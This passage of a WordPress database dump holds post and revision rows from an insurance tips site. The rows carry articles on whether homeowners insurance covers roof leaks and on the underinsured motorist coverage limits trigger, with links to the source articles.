fire. When you see roof damage, repair it immediately to prevent leaks and other damages.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Note: </strong>Although your roof may appear to be in good condition, you must also maintain good water flow by keeping downspouts and gutters clean. Also, maintain systems such as wiring, plumbing, and hot water heaters in attics, which can cause roof damage when breakdowns occur.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-42\">Generally, homeowners policies will not cover visible roof problems that the homeowner could have noticed and repaired following a routine inspection. That might include:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul id=\"mntl-sc-block_1-0-44\"><!-- wp:list-item -->\n<li>Deterioration caused by age or wear and tear</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Fungus, mold, or wet rot</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Damages caused by birds, insects, rodents, or vermin</li>\n<!-- /wp:list-item --></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-46\">Standard home insurance policies do not cover any damages caused by earthquakes or flooding.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\" id=\"mntl-sc-block_1-0-48\">How To Prepare for Roof Leaks</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-49\">Perform routine home inspections to detect roof leaks. The sooner you spot signs of leakage, the more likely you can prevent further damage. When inspecting your home, look for interior dampness, mildew, mold, or water stains. Outside, inspect your roof for damage or missing roof shingles, damaged roof flashing, and drooping or clogged gutters.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-51\">In some cases, a standard homeowners policy might not provide enough protection.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\" id=\"mntl-sc-block_1-0-53\">Earthquake Insurance</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-54\">Standard home insurance policies do not cover earthquake damage to your home or its contents.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-56\">But many carriers offer standalone earthquake policies or earthquake riders. Homeowners living in areas prone to earthquakes, landslides, or land movements may need earthquake insurance.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Note:</strong> Typically, earthquake damage does not exceed a policyholder’s home insurance deductible, according to the Federal Emergency Management Agency.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\" id=\"mntl-sc-block_1-0-59\">Flood Insurance</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-60\">Standard homeowners policies do not cover any losses, including to roofs, caused by floods. If you live in a flood-prone area, protect your home with flood insurance. Many major insurance companies offer flood insurance through the National Flood Insurance Program (NFIP).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-62\">NFIP policies cover up to:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul id=\"mntl-sc-block_1-0-64\"><!-- wp:list-item -->\n<li>$250,000 in dwelling losses</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>$100,000 in personal property losses</li>\n<!-- /wp:list-item --></ul>\n<!-- /wp:list -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\" id=\"mntl-sc-block_1-0-66\">Optional Coverage for Coastal Dwellings</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-67\">Some insurers do not cover hail or wind damage to homes in coastal areas. For example, insurance companies typically exclude hail and wind damage coverage for homes along the Texas Gulf Coast. However, Texas coastal residents can purchase hail and wind coverage through the Texas Windstorm Insurance Association.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-69\">If you live in a coastal area that is prone to hurricanes and tropical storms, make sure your home insurance policy covers hail and windstorm losses. If it doesn’t, contact your state’s department of insurance to find out how to obtain storm coverage.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\" id=\"mntl-sc-block_1-0-71\">The Bottom Line</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-72\">Roof leaks can lead to much larger problems. They can rot rafters, destroy drywall, and ruin flooring and furniture.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-74\">While your homeowners policy might cover damages caused by falling objects, hail, or wind, it’s important to maintain your roof to prevent leaks. When roof leaks occur, make prompt repairs to prevent further damage. Failing to maintain your roof can lead to rejected claims when leaks occur.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Note: </strong>Although many homeowners can rely on the roof coverage of a standard home insurance policy, others may need additional protections such as earthquake or flood insurance, or additional hail and wind coverage for coastal dwellings.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>To read the full article, <a href=\"https://www.thebalancemoney.com/does-homeowners-insurance-cover-roof-leaks-5216966\">click here.</a></p>\n<!-- /wp:paragraph -->','Does Homeowners Insurance Cover Roof Leaks?','','publish','closed','closed','','does-homeowners-insurance-cover-roof-leaks','','','2024-03-30 03:33:21','2024-03-30 03:33:21','',0,'https://smartinsurance.tips/?p=3931',0,'post','',0),(3932,1,'2024-03-30 03:29:31','2024-03-30 03:29:31','','Untitled-24','','inherit','closed','closed','','untitled-24-2','','','2024-03-30 03:29:31','2024-03-30 03:29:31','',3931,'http://smartinsurance.tips/wp-content/uploads/2024/03/Untitled-24.png',0,'attachment','image/png',0),(3933,1,'2024-03-30 03:33:20','2024-03-30 03:33:20','<!-- wp:paragraph -->\n<p>Learn How Your Policy Covers a Roof Leak.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:gallery {\"linkTo\":\"none\"} -->\n<figure class=\"wp-block-gallery has-nested-images columns-default is-cropped\"><!-- wp:image {\"id\":3932,\"sizeSlug\":\"large\",\"linkDestination\":\"none\"} -->\n<figure class=\"wp-block-image size-large\"><img src=\"https://smartinsurance.tips/wp-content/uploads/2024/03/Untitled-24-1024x1024.png\" alt=\"\" class=\"wp-image-3932\"/></figure>\n<!-- /wp:image --></figure>\n<!-- /wp:gallery -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0\">If you’re sitting in your home during a thunderstorm and you notice a stream of water trickling down the wall, chances are your roof has sprung a leak. Roof leaks can cause major damage to your home and personal belongings, so it’s important to understand if your home insurance covers the losses.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-2\">The most common forms of homeowners insurance typically cover damages to roofs caused by falling tree limbs, hail, and wind. But a standard home insurance policy might not cover all roof leaks. Learn which types of roof leaks your homeowners insurance covers.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\" id=\"mntl-sc-block-callout-heading_1-0\">Key Takeaways</h3>\n<!-- /wp:heading -->\n\n<!-- wp:list -->\n<ul><!-- wp:list-item -->\n<li>Most standard home insurance policies cover roof losses caused by storm damage.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Homeowners insurance typically does not cover roof damage caused by gradual wear and tear or neglect.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Homes in some areas may need the additional protection of earthquake or flood insurance policies.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>In some coastal areas, home insurance policies do not cover hail and wind losses.</li>\n<!-- /wp:list-item --></ul>\n<!-- /wp:list -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\" id=\"mntl-sc-block_1-0-5\">Homeowners Insurance May Cover Roof Leaks</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-6\">Oftentimes, a standard homeowners policy will cover damages caused by roof leaks, but it will depend on what type of home insurance policy you carry and what caused the roof leak. Most homeowners insurance policies will require you to complete the repairs before fully reimbursing you.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Note:</strong> Keep in mind that a home insurance policy doesn’t automatically pay up to the limit of the maximum it will cover. For instance, if shingles blow off your roof during a windstorm, your coverage may only pay to replace the missing shingles, not the entire roof.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\" id=\"mntl-sc-block_1-0-9\">Dwelling Losses</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-10\">Homeowners have several different types of home insurance to choose from, each covering damage from perils in different ways. Perils are the cause of the damage, and they can include the weight of ice, sleet, or snow, explosions, fire, lightning, hail, falling objects, and windstorms.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-12\">HO-3 and HO-2 policies are among the most common types of coverages accepted by mortgage companies. So if you have a mortgage, it’s likely that you have one of the following:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul id=\"mntl-sc-block_1-0-14\"><!-- wp:list-item -->\n<li><strong>HO-3 policy:</strong>&nbsp;The most common type of policy, HO-3 policies protect your home from all perils unless they are specifically excluded. However, your possessions are protected only from perils that are named in the policy.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>HO-2 policy</strong>: This type of policy offers more limited dwelling coverage. Your dwelling and your possessions are only protected against damage from perils that are specifically named.</li>\n<!-- /wp:list-item --></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-16\">So, you can see why the cause of your roof leak plays a role in whether your particular homeowners insurance covers it. For example, if you have an HO-3 policy and a fallen tree limb damages your roof, you’ll have a valid claim unless it was specifically excluded. Or, if you have an HO-2 policy, and a windstorm damages your roof, causing it to leak, the insurer will cover the damage if it’s a named peril.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\" id=\"mntl-sc-block_1-0-18\">Personal Property Losses</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-19\">Most homeowners policies will cover sudden water damage to personal property, such as furniture, unless it is specifically excluded, but only under certain conditions.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Note: </strong>If a hailstorm damages your roof and incoming rain soaks your sofa, your home insurance will likely help pay to replace it. But if the sofa sustains damage due to a gradual leak, the insurance company may not pay the claim.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\" id=\"mntl-sc-block_1-0-22\">Unattached Structures Losses</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-23\">If an unattached structure, like a separate garage or shed, suffers roof damage, your policy’s other structures coverage may cover repair costs. Standard home insurance policies usually provide other structures coverage equal to a certain percentage, such as 10% of dwelling coverage, but they may not provide coverage if those structures are used for business purposes.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-25\">So, if your policy provides $200,000 in dwelling coverage, it may provide $20,000 in other structures coverage.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\" id=\"mntl-sc-block_1-0-27\">Losses Caused by Downed Trees</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-28\">Coverage for losses caused by downed trees is typically provided by the policy of the homeowner with the damaged property, regardless of who owns the property with the tree.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-30\">For instance, if a healthy tree in your yard damages your roof during a thunderstorm, you can file a claim against your homeowners dwelling coverage. And if your roof was damaged by your neighbor’s tree, you’ll likely also file a claim with your insurance, not your neighbor’s.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Note:</strong> Whether an insurer pays a claim for damages caused by a fallen tree often depends on the condition of the tree. Generally, carriers pay claims when they determine that a tree has fallen due to an act of nature and not someone’s fault.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-33\">Homeowners are responsible for removing dead or diseased trees. So, if a dead tree in your yard falls on your roof, the insurer may deny a claim.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\" id=\"mntl-sc-block_1-0-35\">Undetectable Damage</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-36\">At times, a roof may collapse due to undetectable damage. For example, a roof may sustain gradual damage caused by animals or insects, defective materials, faulty construction, or unseen decay. Generally, home insurance policies cover this type of roof damage.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\" id=\"mntl-sc-block_1-0-38\">When Homeowners Insurance Won’t Cover Roof Leaks</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-39\">Neglecting your home’s roof can lead to losses that your insurance company won’t cover. For example, rotting or termite-ravaged rafters can cause a roof to collapse, or crumbling chimney masonry can lead to a roof fire. When you see roof damage, repair it immediately to prevent leaks and other damages.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Note: </strong>Although your roof may appear to be in good condition, you must also maintain good water flow by keeping downspouts and gutters clean. Also, maintain systems such as wiring, plumbing, and hot water heaters in attics, which can cause roof damage when breakdowns occur.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-42\">Generally, homeowners policies will not cover visible roof problems that the homeowner could have noticed and repaired following a routine inspection. That might include:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul id=\"mntl-sc-block_1-0-44\"><!-- wp:list-item -->\n<li>Deterioration caused by age or wear and tear</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Fungus, mold, or wet rot</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Damages caused by birds, insects, rodents, or vermin</li>\n<!-- /wp:list-item --></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-46\">Standard home insurance policies do not cover any damages caused by earthquakes or flooding.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\" id=\"mntl-sc-block_1-0-48\">How To Prepare for Roof Leaks</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-49\">Perform routine home inspections to detect roof leaks. The sooner you spot signs of leakage, the more likely you can prevent further damage. When inspecting your home, look for interior dampness, mildew, mold, or water stains. Outside, inspect your roof for damage or missing roof shingles, damaged roof flashing, and drooping or clogged gutters.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-51\">In some cases, a standard homeowners policy might not provide enough protection.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\" id=\"mntl-sc-block_1-0-53\">Earthquake Insurance</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-54\">Standard home insurance policies do not cover earthquake damage to your home or its contents.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-56\">But many carriers offer standalone earthquake policies or earthquake riders. Homeowners living in areas prone to earthquakes, landslides, or land movements may need earthquake insurance.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Note:</strong> Typically, earthquake damage does not exceed a policyholder’s home insurance deductible, according to the Federal Emergency Management Agency.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\" id=\"mntl-sc-block_1-0-59\">Flood Insurance</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-60\">Standard homeowners policies do not cover any losses, including to roofs, caused by floods. If you live in a flood-prone area, protect your home with flood insurance. Many major insurance companies offer flood insurance through the National Flood Insurance Program (NFIP).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-62\">NFIP policies cover up to:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul id=\"mntl-sc-block_1-0-64\"><!-- wp:list-item -->\n<li>$250,000 in dwelling losses</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>$100,000 in personal property losses</li>\n<!-- /wp:list-item --></ul>\n<!-- /wp:list -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\" id=\"mntl-sc-block_1-0-66\">Optional Coverage for Coastal Dwellings</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-67\">Some insurers do not cover hail or wind damage to homes in coastal areas. For example, insurance companies typically exclude hail and wind damage coverage for homes along the Texas Gulf Coast. However, Texas coastal residents can purchase hail and wind coverage through the Texas Windstorm Insurance Association.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-69\">If you live in a coastal area that is prone to hurricanes and tropical storms, make sure your home insurance policy covers hail and windstorm losses. If it doesn’t, contact your state’s department of insurance to find out how to obtain storm coverage.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\" id=\"mntl-sc-block_1-0-71\">The Bottom Line</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-72\">Roof leaks can lead to much larger problems. They can rot rafters, destroy drywall, and ruin flooring and furniture.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-74\">While your homeowners policy might cover damages caused by falling objects, hail, or wind, it’s important to maintain your roof to prevent leaks. When roof leaks occur, make prompt repairs to prevent further damage. Failing to maintain your roof can lead to rejected claims when leaks occur.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Note: </strong>Although many homeowners can rely on the roof coverage of a standard home insurance policy, others may need additional protections such as earthquake or flood insurance, or additional hail and wind coverage for coastal dwellings.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>To read the full article, <a href=\"https://www.thebalancemoney.com/does-homeowners-insurance-cover-roof-leaks-5216966\">click here.</a></p>\n<!-- /wp:paragraph -->','Does Homeowners Insurance Cover Roof Leaks?','','inherit','closed','closed','','3931-revision-v1','','','2024-03-30 03:33:20','2024-03-30 03:33:20','',3931,'https://smartinsurance.tips/?p=3933',0,'revision','',0),(3934,1,'2024-03-30 03:36:54','2024-03-30 03:36:54','<!-- wp:gallery {\"linkTo\":\"none\"} -->\n<figure class=\"wp-block-gallery has-nested-images columns-default is-cropped\"><!-- wp:image {\"id\":3935,\"sizeSlug\":\"large\",\"linkDestination\":\"none\"} -->\n<figure class=\"wp-block-image size-large\"><img src=\"https://smartinsurance.tips/wp-content/uploads/2024/03/Untitled-26-1024x1024.png\" alt=\"\" class=\"wp-image-3935\"/></figure>\n<!-- /wp:image --></figure>\n<!-- /wp:gallery -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\" id=\"mntl-sc-block_1-0\">What Is the Underinsured Motorist Coverage Limits Trigger?</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_2-0\">The underinsured motorist coverage limits trigger is one of the two triggers that can be specified by an insured party to protect against losses caused by an accident with a driver who has insufficient insurance.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_4-0\">The underinsured motorist coverage limits trigger ensures coverage in the event of an accident caused by a driver with inadequate insurance, and when the underinsured driver\'s liability limit is lower than that of the insured person or policyholder. The other trigger for underinsured motorist coverage is known as the damages or coverage trigger.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\" id=\"mntl-sc-block-callout-heading_1-0\">KEY TAKEAWAYS</h3>\n<!-- /wp:heading -->\n\n<!-- wp:list -->\n<ul><!-- wp:list-item -->\n<li>The underinsured motorist coverage limits trigger ensures insurance coverage for damages caused by an at-fault motorist without adequate auto insurance to fully cover the other injured party\'s damages.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>This kind of coverage is a relatively inexpensive add-on to a regular auto insurance policy and can prove to be beneficial in the case of an accident.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Underinsured motorist endorsements are mandatory in many states and typically last between six and 12 months.</li>\n<!-- /wp:list-item --></ul>\n<!-- /wp:list -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\" id=\"mntl-sc-block_8-0\">Understanding the Underinsured Motorist Coverage Limits Trigger</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_9-0\">Drivers purchase auto insurance for several reasons, such as the risk of their car becoming damaged in an accident, the risk of damaging another person’s car, or the risk of killing or injuring another person. But one risk that is sometimes neglected by drivers is the possibility that they might be injured, or have their car damaged, by another driver who has failed to take out adequate auto insurance.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_11-0\">In that instance, the policyholder might have a legitimate claim against the at-fault driver but be unable to collect damages. After all, if the at-fault driver does not have the necessary assets or insurance, they might simply declare bankruptcy, leaving little or nothing for the victim to collect.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_13-0\">To protect against this risk, drivers can purchase underinsured motorist coverage as part of their auto insurance policy. This supplemental insurance covers property damages, bodily injury to the policyholder, as well as injuries to insured family members or passengers. If a claim needs to be filed, the endorsement can cover the difference between the coverage paid by the at-fault driver’s insurance and the full amount owing.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\" id=\"mntl-sc-block_15-0\">Under- vs. Un-insured Motorist Coverage</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_16-0\">Note that underinsured motorist coverage is not the same as uninsured motorist (UM) coverage, which would cover a situation in which the at-fault driver did not have any insurance. However, these two types of coverage are often bundled together. Either separately or together, they are usually a relatively inexpensive add-on to an auto insurance policy but provide beneficial coverage.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_18-0\">In 2015, approximately one out of eight drivers were under-insured, according to the Insurance Research Council, which tracks data on drivers. In many states being uninsured is illegal. In fact, every state, with the lone exception of New Hampshire, makes it illegal to not carry some form of auto insurance. Underinsured coverage is better than no coverage at all. </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\" id=\"mntl-sc-block_20-0\">Example of Underinsured Motorist Coverage Limits Trigger</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_21-0\">Assume an insured person has underinsured motorist coverage up to $500,000 with a limits trigger. In the event of an accident with an at-fault driver who only has $100,000 of insurance coverage, an insurance claim of $150,000 would result in the policy holder\'s underinsured motorist coverage kicking in because of the limits trigger.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>To read the full article, <a href=\"https://www.investopedia.com/terms/u/underinsured-motorist-coverage-limits-trigger.asp\">click here.</a></p>\n<!-- /wp:paragraph -->','Underinsured Motorist Coverage Limits Trigger: Overview','','publish','closed','closed','','underinsured-motorist-coverage-limits-trigger-overview','','','2024-03-30 03:36:55','2024-03-30 03:36:55','',0,'https://smartinsurance.tips/?p=3934',0,'post','',0),(3935,1,'2024-03-30 03:35:09','2024-03-30 03:35:09','','Untitled-26','','inherit','closed','closed','','untitled-26-2','','','2024-03-30 03:35:09','2024-03-30 03:35:09','',3934,'http://smartinsurance.tips/wp-content/uploads/2024/03/Untitled-26.png',0,'attachment','image/png',0);
INSERT INTO `smart_posts` VALUES (3936,1,'2024-03-30 03:36:54','2024-03-30 03:36:54','<!-- wp:gallery {\"linkTo\":\"none\"} -->\n<figure class=\"wp-block-gallery has-nested-images columns-default is-cropped\"><!-- wp:image {\"id\":3935,\"sizeSlug\":\"large\",\"linkDestination\":\"none\"} -->\n<figure class=\"wp-block-image size-large\"><img src=\"https://smartinsurance.tips/wp-content/uploads/2024/03/Untitled-26-1024x1024.png\" alt=\"\" class=\"wp-image-3935\"/></figure>\n<!-- /wp:image --></figure>\n<!-- /wp:gallery -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\" id=\"mntl-sc-block_1-0\">What Is the Underinsured Motorist Coverage Limits Trigger?</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_2-0\">The underinsured motorist coverage limits trigger is one of the two triggers that can be specified by an insured party to protect against losses caused by an accident with a driver who has insufficient insurance.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_4-0\">The underinsured motorist coverage limits trigger ensures coverage in the event of an accident caused by a driver with inadequate insurance, and when the underinsured driver\'s liability limit is lower than that of the insured person or policyholder. The other trigger for underinsured motorist coverage is known as the damages or coverage trigger.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\" id=\"mntl-sc-block-callout-heading_1-0\">KEY TAKEAWAYS</h3>\n<!-- /wp:heading -->\n\n<!-- wp:list -->\n<ul><!-- wp:list-item -->\n<li>The underinsured motorist coverage limits trigger ensures insurance coverage for damages caused by an at-fault motorist without adequate auto insurance to fully cover the other injured party\'s damages.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>This kind of coverage is a relatively inexpensive add-on to a regular auto insurance policy and can prove to be beneficial in the case of an accident.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Underinsured motorist endorsements are mandatory in many states and typically last between six and 12 months.</li>\n<!-- /wp:list-item --></ul>\n<!-- /wp:list -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\" id=\"mntl-sc-block_8-0\">Understanding the Underinsured Motorist Coverage Limits Trigger</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_9-0\">Drivers purchase auto insurance for several reasons, such as the risk of their car becoming damaged in an accident, the risk of damaging another person’s car, or the risk of killing or injuring another person. But one risk that is sometimes neglected by drivers is the possibility that they might be injured, or have their car damaged, by another driver who has failed to take out adequate auto insurance.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_11-0\">In that instance, the policyholder might have a legitimate claim against the at-fault driver but be unable to collect damages. After all, if the at-fault driver does not have the necessary assets or insurance, they might simply declare bankruptcy, leaving little or nothing for the victim to collect.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_13-0\">To protect against this risk, drivers can purchase underinsured motorist coverage as part of their auto insurance policy. This supplemental insurance covers property damages, bodily injury to the policyholder, as well as injuries to insured family members or passengers. If a claim needs to be filed, the endorsement can cover the difference between the coverage paid by the at-fault driver’s insurance and the full amount owing.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\" id=\"mntl-sc-block_15-0\">Under- vs. Un-insured Motorist Coverage</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_16-0\">Note that underinsured motorist coverage is not the same as uninsured motorist (UM) coverage, which would cover a situation in which the at-fault driver did not have any insurance. However, these two types of coverage are often bundled together. Either separately or together, they are usually a relatively inexpensive add-on to an auto insurance policy but provide beneficial coverage.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_18-0\">In 2015, approximately one out of eight drivers were under-insured, according to the Insurance Research Council, which tracks data on drivers. In many states being uninsured is illegal. In fact, every state, with the lone exception of New Hampshire, makes it illegal to not carry some form of auto insurance. Underinsured coverage is better than no coverage at all. </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\" id=\"mntl-sc-block_20-0\">Example of Underinsured Motorist Coverage Limits Trigger</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_21-0\">Assume an insured person has underinsured motorist coverage up to $500,000 with a limits trigger. In the event of an accident with an at-fault driver who only has $100,000 of insurance coverage, an insurance claim of $150,000 would result in the policy holder\'s underinsured motorist coverage kicking in because of the limits trigger.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p></p>\n<!-- /wp:paragraph 